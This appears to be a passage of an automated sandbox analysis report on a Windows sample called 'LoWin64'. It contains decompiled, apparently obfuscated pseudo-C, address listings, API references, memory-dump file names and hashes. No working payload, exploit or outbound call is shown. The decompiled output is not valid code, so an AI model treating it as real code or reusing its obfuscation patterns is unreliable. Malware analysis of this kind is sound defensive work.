				if (_t380 != 0) goto 0xb1cafca8;
				if (_t380 == 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t623);
				if (_t380 >= 0) goto 0xb1cafcb8;
				_t626 = (_t623 - _t637 | 0xffffff80) + _t637;
				if (0x6 - _t637 > 0) goto 0xb1cafcc4;
				 *0xb1decf60 = _t637;
				goto 0xb1cafd13;
				if ((E00007FF67FF6B1D3ACF4((_t623 - _t637 | 0xffffff80) + _t637) & r13d) >= 0) goto 0xb1cafcd4;
				if (0x6 - 0x5e < 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4((_t626 - _t637 | 0xffffff80) + _t637);
				if (0x6 - 0x5e >= 0) goto 0xb1cafce9;
				if (0x6 - 0x67 >= 0) goto 0xb1cafd13;
				 *0xb1decf60 = _t637;
				E00007FF67FF6B1D3ACF4(((_t626 - _t637 | 0xffffff80) + _t637 - _t637 | 0xffffff80) + _t637);
				if (0x6 - 0x67 >= 0) goto 0xb1cafd04;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t637;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x33;
				AnyPopup();
				r8d = r8d | 0xffffffff;
				0xb1ca6ecc(); // executed
				if (0x6 == 0) goto 0xb1cafd51;
				r8d = 0;
				_t243 = E00007FF67FF6B1CB5030(r12d & 0xffffff00 | 0x00000006 - 0x00000067 < 0x00000000, _t292, r8d, (((_t626 - _t637 | 0xffffff80) + _t637 - _t637 | 0xffffff80) + _t637 - _t637 | 0xffffff80) + _t637, _t637, __rsi, __rsi, _t687);
				goto 0xb1cafd54;
				0xb1cb1e80(); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return _t243;
			}

0x7ff6b1caf15a
0x7ff6b1caf15c
0x7ff6b1caf162
0x7ff6b1caf16c
0x7ff6b1caf173
0x7ff6b1caf175
0x7ff6b1caf179
0x7ff6b1caf17d
0x7ff6b1caf181
0x7ff6b1caf183
0x7ff6b1caf18a
0x7ff6b1caf191
0x7ff6b1caf1a4
0x7ff6b1caf1a6
0x7ff6b1caf1a9
0x7ff6b1caf1ab
0x7ff6b1caf1b2
0x7ff6b1caf1b9
0x7ff6b1caf1bb
0x7ff6b1caf1be
0x7ff6b1caf1c0
0x7ff6b1caf1c7
0x7ff6b1caf1ce
0x7ff6b1caf1d9
0x7ff6b1caf1df
0x7ff6b1caf1e6
0x7ff6b1caf1ef
0x7ff6b1caf1f2
0x7ff6b1caf1f4
0x7ff6b1caf205
0x7ff6b1caf206
0x7ff6b1caf20b
0x7ff6b1caf211
0x7ff6b1caf21b
0x7ff6b1caf224
0x7ff6b1caf228
0x7ff6b1caf22c
0x7ff6b1caf230
0x7ff6b1caf235
0x7ff6b1caf237
0x7ff6b1caf239
0x7ff6b1caf241
0x7ff6b1caf247
0x7ff6b1caf251
0x7ff6b1caf258
0x7ff6b1caf25d
0x7ff6b1caf26a
0x7ff6b1caf274
0x7ff6b1caf27a
0x7ff6b1caf27c
0x7ff6b1caf27f
0x7ff6b1caf281
0x7ff6b1caf288
0x7ff6b1caf28f
0x7ff6b1caf291
0x7ff6b1caf294
0x7ff6b1caf296
0x7ff6b1caf29d
0x7ff6b1caf2a4
0x7ff6b1caf2af
0x7ff6b1caf2b3
0x7ff6b1caf2b9
0x7ff6b1caf2c0
0x7ff6b1caf2c7
0x7ff6b1caf2d2
0x7ff6b1caf2d8
0x7ff6b1caf2df
0x7ff6b1caf2e6
0x7ff6b1caf2e8
0x7ff6b1caf2eb
0x7ff6b1caf2ed
0x7ff6b1caf2f4
0x7ff6b1caf2fb
0x7ff6b1caf300
0x7ff6b1caf302
0x7ff6b1caf308
0x7ff6b1caf30a
0x7ff6b1caf30f
0x7ff6b1caf311
0x7ff6b1caf318
0x7ff6b1caf323
0x7ff6b1caf332
0x7ff6b1caf338
0x7ff6b1caf33f
0x7ff6b1caf341
0x7ff6b1caf349
0x7ff6b1caf34e
0x7ff6b1caf350
0x7ff6b1caf358
0x7ff6b1caf35e
0x7ff6b1caf368
0x7ff6b1caf36f
0x7ff6b1caf371
0x7ff6b1caf375
0x7ff6b1caf379
0x7ff6b1caf37d
0x7ff6b1caf37f
0x7ff6b1caf383
0x7ff6b1caf38d
0x7ff6b1caf393
0x7ff6b1caf3ab
0x7ff6b1caf3ad
0x7ff6b1caf3af
0x7ff6b1caf3b5
0x7ff6b1caf3bb
0x7ff6b1caf3bd
0x7ff6b1caf3c0
0x7ff6b1caf3c2
0x7ff6b1caf3c9
0x7ff6b1caf3cb
0x7ff6b1caf3d1
0x7ff6b1caf3d7
0x7ff6b1caf3dc
0x7ff6b1caf3e2
0x7ff6b1caf3e9
0x7ff6b1caf3f0
0x7ff6b1caf3fb
0x7ff6b1caf401
0x7ff6b1caf409
0x7ff6b1caf40f
0x7ff6b1caf416
0x7ff6b1caf41f
0x7ff6b1caf426
0x7ff6b1caf42a
0x7ff6b1caf435
0x7ff6b1caf43b
0x7ff6b1caf441
0x7ff6b1caf448
0x7ff6b1caf44f
0x7ff6b1caf456
0x7ff6b1caf458
0x7ff6b1caf467
0x7ff6b1caf46b
0x7ff6b1caf46d
0x7ff6b1caf473
0x7ff6b1caf478
0x7ff6b1caf47a
0x7ff6b1caf480
0x7ff6b1caf483
0x7ff6b1caf48b
0x7ff6b1caf492
0x7ff6b1caf497
0x7ff6b1caf499
0x7ff6b1caf4a1
0x7ff6b1caf4a8
0x7ff6b1caf4b3
0x7ff6b1caf4b9
0x7ff6b1caf4bc
0x7ff6b1caf4c3
0x7ff6b1caf4c7
0x7ff6b1caf4c9
0x7ff6b1caf4ce
0x7ff6b1caf4d7
0x7ff6b1caf4de
0x7ff6b1caf4e3
0x7ff6b1caf4e5
0x7ff6b1caf4ed
0x7ff6b1caf4f4
0x7ff6b1caf4ff
0x7ff6b1caf505
0x7ff6b1caf50d
0x7ff6b1caf514
0x7ff6b1caf519
0x7ff6b1caf51b
0x7ff6b1caf523
0x7ff6b1caf52a
0x7ff6b1caf52f
0x7ff6b1caf531
0x7ff6b1caf539
0x7ff6b1caf540
0x7ff6b1caf54b
0x7ff6b1caf551
0x7ff6b1caf553
0x7ff6b1caf559
0x7ff6b1caf55f
0x7ff6b1caf567
0x7ff6b1caf56e
0x7ff6b1caf573
0x7ff6b1caf575
0x7ff6b1caf57d
0x7ff6b1caf584
0x7ff6b1caf586
0x7ff6b1caf58e
0x7ff6b1caf592
0x7ff6b1caf596
0x7ff6b1caf59a
0x7ff6b1caf59c
0x7ff6b1caf59e
0x7ff6b1caf5a6
0x7ff6b1caf5ad
0x7ff6b1caf5b8
0x7ff6b1caf5ba
0x7ff6b1caf5c2
0x7ff6b1caf5c9
0x7ff6b1caf5ce
0x7ff6b1caf5d0
0x7ff6b1caf5d8
0x7ff6b1caf5ea
0x7ff6b1caf5fb
0x7ff6b1caf5fc
0x7ff6b1caf5fe
0x7ff6b1caf601
0x7ff6b1caf603
0x7ff6b1caf609
0x7ff6b1caf60e
0x7ff6b1caf610
0x7ff6b1caf618
0x7ff6b1caf61f
0x7ff6b1caf621
0x7ff6b1caf625
0x7ff6b1caf629
0x7ff6b1caf631
0x7ff6b1caf633
0x7ff6b1caf63b
0x7ff6b1caf642
0x7ff6b1caf647
0x7ff6b1caf649
0x7ff6b1caf651
0x7ff6b1caf658
0x7ff6b1caf65d
0x7ff6b1caf65f
0x7ff6b1caf667
0x7ff6b1caf66e
0x7ff6b1caf679
0x7ff6b1caf67b
0x7ff6b1caf683
0x7ff6b1caf68a
0x7ff6b1caf695
0x7ff6b1caf69b
0x7ff6b1caf6a1
0x7ff6b1caf6a9
0x7ff6b1caf6ac
0x7ff6b1caf6b2
0x7ff6b1caf6c1
0x7ff6b1caf6c4
0x7ff6b1caf6c5
0x7ff6b1caf6cb
0x7ff6b1caf6d3
0x7ff6b1caf6da
0x7ff6b1caf6df
0x7ff6b1caf6e4
0x7ff6b1caf6e6
0x7ff6b1caf6ee
0x7ff6b1caf6f6
0x7ff6b1caf6fc
0x7ff6b1caf704
0x7ff6b1caf70b
0x7ff6b1caf710
0x7ff6b1caf712
0x7ff6b1caf71a
0x7ff6b1caf721
0x7ff6b1caf72c
0x7ff6b1caf732
0x7ff6b1caf73a
0x7ff6b1caf741
0x7ff6b1caf743
0x7ff6b1caf74c
0x7ff6b1caf752
0x7ff6b1caf765
0x7ff6b1caf76a
0x7ff6b1caf770
0x7ff6b1caf777
0x7ff6b1caf783
0x7ff6b1caf792
0x7ff6b1caf794
0x7ff6b1caf796
0x7ff6b1caf79c
0x7ff6b1caf7a1
0x7ff6b1caf7a3
0x7ff6b1caf7a9
0x7ff6b1caf7ab
0x7ff6b1caf7b1
0x7ff6b1caf7b8
0x7ff6b1caf7ca
0x7ff6b1caf7d0
0x7ff6b1caf7db
0x7ff6b1caf7dd
0x7ff6b1caf7fb
0x7ff6b1caf806
0x7ff6b1caf809
0x7ff6b1caf80b
0x7ff6b1caf80f
0x7ff6b1caf821
0x7ff6b1caf830
0x7ff6b1caf832
0x7ff6b1caf837
0x7ff6b1caf839
0x7ff6b1caf840
0x7ff6b1caf847
0x7ff6b1caf84c
0x7ff6b1caf84e
0x7ff6b1caf855
0x7ff6b1caf85c
0x7ff6b1caf868
0x7ff6b1caf86a
0x7ff6b1caf870
0x7ff6b1caf880
0x7ff6b1caf882
0x7ff6b1caf887
0x7ff6b1caf889
0x7ff6b1caf890
0x7ff6b1caf897
0x7ff6b1caf899
0x7ff6b1caf8a1
0x7ff6b1caf8a5
0x7ff6b1caf8a9
0x7ff6b1caf8ad
0x7ff6b1caf8af
0x7ff6b1caf8b6
0x7ff6b1caf8bd
0x7ff6b1caf8bf
0x7ff6b1caf8c6
0x7ff6b1caf8ca
0x7ff6b1caf8d1
0x7ff6b1caf8d7
0x7ff6b1caf8d9
0x7ff6b1caf8df
0x7ff6b1caf8e5
0x7ff6b1caf8ed
0x7ff6b1caf8f3
0x7ff6b1caf8f9
0x7ff6b1caf8fe
0x7ff6b1caf905
0x7ff6b1caf90c
0x7ff6b1caf90e
0x7ff6b1caf916
0x7ff6b1caf91a
0x7ff6b1caf91e
0x7ff6b1caf922
0x7ff6b1caf924
0x7ff6b1caf92b
0x7ff6b1caf92d
0x7ff6b1caf932
0x7ff6b1caf934
0x7ff6b1caf93b
0x7ff6b1caf93d
0x7ff6b1caf944
0x7ff6b1caf948
0x7ff6b1caf94f
0x7ff6b1caf957
0x7ff6b1caf966
0x7ff6b1caf968
0x7ff6b1caf96a
0x7ff6b1caf974
0x7ff6b1caf97b
0x7ff6b1caf980
0x7ff6b1caf985
0x7ff6b1caf987
0x7ff6b1caf992
0x7ff6b1caf998
0x7ff6b1caf9a2
0x7ff6b1caf9a9
0x7ff6b1caf9ae
0x7ff6b1caf9b3
0x7ff6b1caf9b5
0x7ff6b1caf9bc
0x7ff6b1caf9cf
0x7ff6b1caf9d4
0x7ff6b1caf9d6
0x7ff6b1caf9dd
0x7ff6b1caf9e4
0x7ff6b1caf9e9
0x7ff6b1caf9eb
0x7ff6b1caf9f1
0x7ff6b1caf9f8
0x7ff6b1caf9fe
0x7ff6b1cafa04
0x7ff6b1cafa0b
0x7ff6b1cafa12
0x7ff6b1cafa1d
0x7ff6b1cafa1f
0x7ff6b1cafa26
0x7ff6b1cafa32
0x7ff6b1cafa34
0x7ff6b1cafa3b
0x7ff6b1cafa47
0x7ff6b1cafa49
0x7ff6b1cafa50
0x7ff6b1cafa62
0x7ff6b1cafa64
0x7ff6b1cafa6b
0x7ff6b1cafa7d
0x7ff6b1cafa8c
0x7ff6b1cafa8e
0x7ff6b1cafa93
0x7ff6b1cafa95
0x7ff6b1cafa9c
0x7ff6b1cafaa3
0x7ff6b1cafaae
0x7ff6b1cafab4
0x7ff6b1cafab6
0x7ff6b1cafabb
0x7ff6b1cafaca
0x7ff6b1cafacf
0x7ff6b1cafad4
0x7ff6b1cafad6
0x7ff6b1cafadc
0x7ff6b1cafadf
0x7ff6b1cafae6
0x7ff6b1cafaee
0x7ff6b1cafaf4
0x7ff6b1cafaf9
0x7ff6b1cafafb
0x7ff6b1cafaff
0x7ff6b1cafb01
0x7ff6b1cafb09
0x7ff6b1cafb0f
0x7ff6b1cafb1a
0x7ff6b1cafb20
0x7ff6b1cafb26
0x7ff6b1cafb2c
0x7ff6b1cafb34
0x7ff6b1cafb3a
0x7ff6b1cafb40
0x7ff6b1cafb48
0x7ff6b1cafb4e
0x7ff6b1cafb50
0x7ff6b1cafb57
0x7ff6b1cafb5b
0x7ff6b1cafb64
0x7ff6b1cafb6a
0x7ff6b1cafb70
0x7ff6b1cafb73
0x7ff6b1cafb77
0x7ff6b1cafb7f
0x7ff6b1cafb85
0x7ff6b1cafb8d
0x7ff6b1cafb93
0x7ff6b1cafb98
0x7ff6b1cafb9e
0x7ff6b1cafba6
0x7ff6b1cafbac
0x7ff6b1cafbb1
0x7ff6b1cafbb3
0x7ff6b1cafbbb
0x7ff6b1cafbc1
0x7ff6b1cafbc6
0x7ff6b1cafbc8
0x7ff6b1cafbd0
0x7ff6b1cafbd6
0x7ff6b1cafbdb
0x7ff6b1cafbdd
0x7ff6b1cafbe5
0x7ff6b1cafbeb
0x7ff6b1cafbf0
0x7ff6b1cafbf2
0x7ff6b1cafc01
0x7ff6b1cafc05
0x7ff6b1cafc07
0x7ff6b1cafc0c
0x7ff6b1cafc12
0x7ff6b1cafc17
0x7ff6b1cafc1c
0x7ff6b1cafc1e
0x7ff6b1cafc24
0x7ff6b1cafc2b
0x7ff6b1cafc2e
0x7ff6b1cafc32
0x7ff6b1cafc34
0x7ff6b1cafc3c
0x7ff6b1cafc42
0x7ff6b1cafc4d
0x7ff6b1cafc53
0x7ff6b1cafc55
0x7ff6b1cafc5c
0x7ff6b1cafc64
0x7ff6b1cafc6a
0x7ff6b1cafc75
0x7ff6b1cafc7b
0x7ff6b1cafc85
0x7ff6b1cafc88
0x7ff6b1cafc8e
0x7ff6b1cafc90
0x7ff6b1cafc98
0x7ff6b1cafc9c
0x7ff6b1cafca0
0x7ff6b1cafca4
0x7ff6b1cafca6
0x7ff6b1cafca8
0x7ff6b1cafcb0
0x7ff6b1cafcb6
0x7ff6b1cafcba
0x7ff6b1cafcbc
0x7ff6b1cafcc2
0x7ff6b1cafccc
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6B1CAF20B
IsIconic.USER32 ref: 00007FF6B1CAF266

Strings

R, xrefs: 00007FF6B1CAFD4A
$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: CurrentIconicProcess
String ID: $!$R
API String ID: 2749159342-3637212060
Opcode ID: 187bf915e8ef97e3488b7de0facbcf032295dabbfbb60d4a22f60cf1408b7648
Instruction ID: 6cf9066aa3d04fd876606f5268f4423dc5f37fa64d23a84943aabe7597d4132d
Opcode Fuzzy Hash: 187bf915e8ef97e3488b7de0facbcf032295dabbfbb60d4a22f60cf1408b7648
Instruction Fuzzy Hash: CF5237A7E3890376F7565F3CAD8A2BD66A06F2425CF680738D719D129ACF3CF5468204

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAF313 Relevance: 40.9, APIs: 21, Strings: 2, Instructions: 606
windowCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00007FF67FF6B1CAF313(void* __eax, void* __ebx, void* __rsi, void* _a128) {
				signed char _t67;
				signed int _t100;
				signed int _t133;
				signed int _t144;
				void* _t170;
				void* _t202;
				void* _t220;
				void* _t263;
				signed int _t264;
				void* _t269;
				void* _t275;
				void* _t290;
				void* _t324;
				void* _t326;
				void* _t334;
				signed int _t337;
				void* _t345;
				void* _t348;
				signed long long _t351;
				void* _t355;
				signed int _t359;
				signed long long _t360;
				signed long long _t364;
				void* _t370;
				void* _t373;
				void* _t376;
				void* _t378;
				void* _t380;
				void* _t382;
				void* _t384;
				void* _t386;
				void* _t388;
				void* _t390;
				void* _t392;
				void* _t394;
				void* _t398;
				void* _t400;
				void* _t402;
				void* _t404;
				void* _t406;
				void* _t408;
				void* _t410;
				void* _t412;
				void* _t414;
				void* _t416;
				signed long long _t418;
				signed long long _t423;
				signed long long _t433;
				signed long long _t436;
				signed long long _t441;
				signed long long _t444;
				signed long long _t447;
				signed long long _t450;
				signed long long _t451;
				signed long long _t453;
				signed long long _t456;
				void* _t460;
				signed long long _t463;
				signed long long _t467;
				signed long long _t471;
				signed long long _t475;
				void* _t489;
				void* _t492;
				void* _t495;
				void* _t498;
				void* _t501;
				void* _t504;
				void* _t507;
				void* _t510;
				void* _t513;
				void* _t516;
				void* _t519;
				void* _t522;
				void* _t525;
				void* _t528;
				void* _t531;
				signed int _t542;
				signed int _t544;
				void* _t583;

				_t348 = (_t345 - _t542 | 0xffffff80) + _t542;
				 *0xb1decf60 = _t544;
				 *0x7FF631CAF3B7 =  *((intOrPtr*)(0x7ff631caf3b7)) + spl;
				if (_t348 - 9 >= 0) goto 0xb1caf341;
				_t351 = (_t348 - _t542 | 0xffffff80) + _t542;
				asm("movsd xmm6, [0x10f717]");
				goto 0xb1caf371;
				if (0x42 - 0x47 >= 0) goto 0xb1caf381;
				 *0xb1da43f0();
				 *0xb1decf60 = 0x42 + _t542;
				E00007FF67FF6B1D3ACF4(_t351);
				if (0x42 - 0x47 >= 0) goto 0xb1caf371;
				_t355 = ((_t351 & 0x8000007f) - _t542 | 0xffffff80) + _t542;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (0x42 != 0x47) goto 0xb1caf34b;
				if (0x42 != 0x47) goto 0xb1caf34b;
				 *0xb1decf60 = 0x65;
				GetLastActivePopup(??);
				E00007FF67FF6B1D3ACF4(_t355);
				if ((_t355 - _t542 | 0xffffff80) + _t542 - 0x67 < 0) goto 0xb1caf3cb;
				_t359 = _t542;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = _t359;
				_t360 = _t359 + _t542;
				_t269 = _t360 - 0xd;
				if (_t269 < 0) goto 0xb1caf3af;
				 *0xb1decf60 = r12d;
				goto 0xb1caf3d7;
				E00007FF67FF6B1DA4030();
				 *0xb1decf60 = _t542;
				E00007FF67FF6B1D3ACF4(_t360);
				GetMessageExtraInfo();
				E00007FF67FF6B1D3ACF4(_t360);
				if (_t269 >= 0) goto 0xb1caf3f2;
				_t364 = ((_t360 & 0x8000007f) - _t542 | 0xffffff80) + _t542;
				 *0xb1decf60 = 0;
				GetCurrentProcess();
				IsIconic(??);
				E00007FF67FF6B1D3ACF4(_t364);
				if (_t364 - 0x6a >= 0) goto 0xb1caf41f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x10f37e]");
				 *0xb1decf60 = ((_t364 & 0x8000007f) - _t542 | 0xffffff80) + _t542;
				_t67 = GetSystemDefaultLangID();
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				if (r14d - 0x73 < 0) goto 0xb1caf448;
				 *0xb1decf60 = _t542;
				asm("adc eax, [eax]");
				 *0x34 =  *0x34 + (_t67 &  *0x34);
				 *0xb1decf60 = 0x34;
				_t370 = 0x34 + _t542;
				if (0x34 - 0x43 < 0) goto 0xb1caf46d;
				E00007FF67FF6B1DA4020();
				r14d = _t264;
				E00007FF67FF6B1D3ACF4(_t370);
				if (0x34 - 0x43 >= 0) goto 0xb1caf494;
				_t373 = (_t370 - _t542 | 0xffffff80) + _t542;
				if (0x34 != 0x46) goto 0xb1caf4b9;
				E00007FF67FF6B1D3ACF4(_t373);
				if (0x34 - 0x46 >= 0) goto 0xb1caf4aa;
				_t376 = (_t373 - _t542 | 0xffffff80) + _t542;
				 *0xb1decf60 = 0;
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				_t275 = r15d - 0x2a;
				if (_t275 < 0) goto 0xb1caf483;
				E00007FF67FF6B1D3ACF4(_t376);
				r15d = 0xffffff80;
				if (_t275 >= 0) goto 0xb1caf4e0;
				_t378 = _t376 - _t542 + _t542;
				if (0x34 == 0x61) goto 0xb1caf505;
				E00007FF67FF6B1D3ACF4(_t378);
				if (0x34 - 0x61 >= 0) goto 0xb1caf4f6;
				_t380 = _t378 - _t542 + _t542;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t380);
				if (0x34 - 0x61 >= 0) goto 0xb1caf516;
				_t382 = _t380 - _t542 + _t542;
				if (0x34 - 0x76 <= 0) goto 0xb1caf553;
				E00007FF67FF6B1D3ACF4(_t382);
				if (0x34 - 0x76 >= 0) goto 0xb1caf52c;
				_t384 = _t382 - _t542 + _t542;
				if (0x34 - 0x38 <= 0) goto 0xb1caf553;
				E00007FF67FF6B1D3ACF4(_t384);
				if (0x34 - 0x38 >= 0) goto 0xb1caf542;
				_t386 = _t384 - _t542 + _t542;
				 *0xb1decf60 = 0;
				goto 0xb1caf559;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = _t542;
				E00007FF67FF6B1D3ACF4(_t386);
				if (0x34 - 0x76 >= 0) goto 0xb1caf570;
				_t388 = _t386 - _t542 + _t542;
				if (0x34 == 0x23) goto 0xb1caf5ba;
				E00007FF67FF6B1D3ACF4(_t388);
				if (0x34 - 0x23 >= 0) goto 0xb1caf586;
				_t390 = _t388 - _t542 + _t542;
				asm("movsd xmm0, [0x10f2c2]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (0x34 != 0x23) goto 0xb1caf59e;
				if (0x34 == 0x23) goto 0xb1caf5ba;
				E00007FF67FF6B1D3ACF4(_t390);
				if (0x34 - 0x23 >= 0) goto 0xb1caf5af;
				_t392 = _t390 - _t542 + _t542;
				goto 0xb1caf5ea;
				E00007FF67FF6B1D3ACF4(_t392);
				if (0x34 - 0x23 >= 0) goto 0xb1caf5cb;
				_t394 = _t392 - _t542 + _t542;
				if (0x34 - 0x3b <= 0) goto 0xb1caf5f0;
				_t100 = E00007FF67FF6B1D3ACF4(_t394);
				if (0x34 - 0x3b >= 0) goto 0xb1caf5e1;
				 *0xb1decf60 = 0;
				asm("cmc");
				sil = 8;
				 *0x00000023 =  *((intOrPtr*)(0x23)) + (_t100 & r14d | r15d) + bpl;
				asm("invalid");
				asm("pop es");
				_t398 = _t394 - _t542 + _t542 - _t542 + _t542;
				if (0x34 - 7 >= 0) goto 0xb1caf67b;
				E00007FF67FF6B1D3ACF4(_t398);
				if (0x34 - 7 >= 0) goto 0xb1caf621;
				_t400 = _t398 - _t542 + _t542;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x10f117]");
				if (0x34 - 7 > 0) goto 0xb1caf67b;
				E00007FF67FF6B1D3ACF4(_t400);
				if (0x34 - 7 >= 0) goto 0xb1caf644;
				_t402 = _t400 - _t542 + _t542;
				if (0x34 == 0x16) goto 0xb1caf65f;
				E00007FF67FF6B1D3ACF4(_t402);
				if (0x34 - 0x16 >= 0) goto 0xb1caf65a;
				_t404 = _t402 - _t542 + _t542;
				if (0x34 - 0x23 > 0) goto 0xb1caf69b;
				E00007FF67FF6B1D3ACF4(_t404);
				if (0x34 - 0x23 >= 0) goto 0xb1caf670;
				_t406 = _t404 - _t542 + _t542;
				goto 0xb1caf695;
				E00007FF67FF6B1D3ACF4(_t406);
				if (0x34 - 0x16 >= 0) goto 0xb1caf68c;
				_t408 = _t406 - _t542 + _t542;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = 0x3c;
				_t290 = 0x3c + _t542 - 0x4c;
				if (_t290 < 0) goto 0xb1caf5f5;
				GetUserDefaultLangID();
				asm("sldt word [ebx]");
				asm("sti");
				 *0xb1decf60 = 0x21;
				E00007FF67FF6B1D3ACF4(_t408);
				if (_t290 >= 0) goto 0xb1caf6dc;
				_t410 = _t408 - _t542 + _t542;
				if (0x34 != 0x7a) goto 0xb1caf6e6;
				if (0x21 - 0x31 < 0) goto 0xb1caf6bd;
				GetCurrentProcess();
				IsZoomed(??);
				GetParent(??);
				E00007FF67FF6B1D3ACF4(_t410);
				if (0x21 - 0x31 >= 0) goto 0xb1caf70d;
				_t412 = _t410 - _t542 + _t542;
				if (0x34 - 0x2d >= 0) goto 0xb1caf732;
				E00007FF67FF6B1D3ACF4(_t412);
				if (0x34 - 0x2d >= 0) goto 0xb1caf723;
				_t414 = _t412 - _t542 + _t542;
				 *0xb1decf60 = 0;
				_t133 = E00007FF67FF6B1D3ACF4(_t414);
				if (0x34 - 0x2d >= 0) goto 0xb1caf743;
				_t416 = _t414 - _t542 + _t542;
				r14d = 0x6a;
				if ((_t133 & r14d | r15d) == r14d) goto 0xb1caf7fd;
				E00007FF67FF6B1D3ACF4(_t416);
				_t418 = _t416 - _t542 + _t542;
				if (0x34 != 0x2c) goto 0xb1caf802;
				E00007FF67FF6B1D3ACF4(_t418);
				if (0x34 - 0x2c >= 0) goto 0xb1caf780;
				if (0x34 == 0x69) goto 0xb1caf827;
				 *_t542 =  *_t542 + spl;
				asm("invalid");
				asm("pop es");
				_t423 = (_t418 & 0x8000007f) - _t542 + _t542 - _t542 + _t542;
				if (0x34 - 0x52 >= 0) goto 0xb1caf7ab;
				 *0xb1decf60 = _t542;
				goto 0xb1caf7d0;
				 *0xb1da43f0();
				E00007FF67FF6B1D3ACF4(_t423);
				if (0x34 - 0x52 >= 0) goto 0xb1caf7c1;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = 0x59;
				if (0x59 + _t542 - 0x5f < 0) goto 0xb1caf78e;
				_t144 = E00007FF67FF6B1D3ACF4((_t423 & 0x8000007f) - _t542 + _t542);
				goto 0xb1caf821;
				asm("verw ax");
				asm("out 0xb4, eax");
				 *0x34 =  *0x34 | _t144 | r15d;
				if (0x34 - 0x69 >= 0) goto 0xb1caf818;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t433 = 0x54 + _t542;
				if (0x54 - 0x63 < 0) goto 0xb1caf82c;
				E00007FF67FF6B1D3ACF4(_t433);
				if (0x54 - 0x63 >= 0) goto 0xb1caf849;
				_t436 = (_t433 & 0x8000007f) - _t542 + _t542;
				if (0x54 != 0x12) goto 0xb1caf855;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t436);
				if (0x54 - 0x12 >= 0) goto 0xb1caf865;
				if ((_t436 & 0x8000007f) - _t542 + _t542 != 0x34) goto 0xb1caf877;
				GetUserDefaultLangID();
				 *0xb1decf60 = r12d;
				asm("adc eax, [eax]");
				_t441 = 0x3a + _t542;
				if (0x3a - 0x43 < 0) goto 0xb1caf87c;
				E00007FF67FF6B1D3ACF4(_t441);
				if (0x3a - 0x43 >= 0) goto 0xb1caf899;
				_t444 = (_t441 & 0x8000007f) - _t542 + _t542;
				asm("movsd xmm6, [0x10f177]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x3a - 0x43 <= 0) goto 0xb1caf8d9;
				E00007FF67FF6B1D3ACF4(_t444);
				if (0x3a - 0x43 >= 0) goto 0xb1caf8bf;
				_t447 = (_t444 & 0x8000007f) - _t542 + _t542;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x3a;
				goto 0xb1caf8eb;
				 *0xb1da4000();
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = _t542;
				 *0xb1decf60 = _t542;
				GetWindowTextLengthW(??);
				E00007FF67FF6B1D3ACF4(_t447);
				E00007FF67FF6B1D3ACF4(_t447);
				if (0x3a - 0x43 >= 0) goto 0xb1caf90e;
				_t450 = (_t447 & 0x8000007f) - _t542 + _t542;
				asm("movsd xmm6, [0x10f00a]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
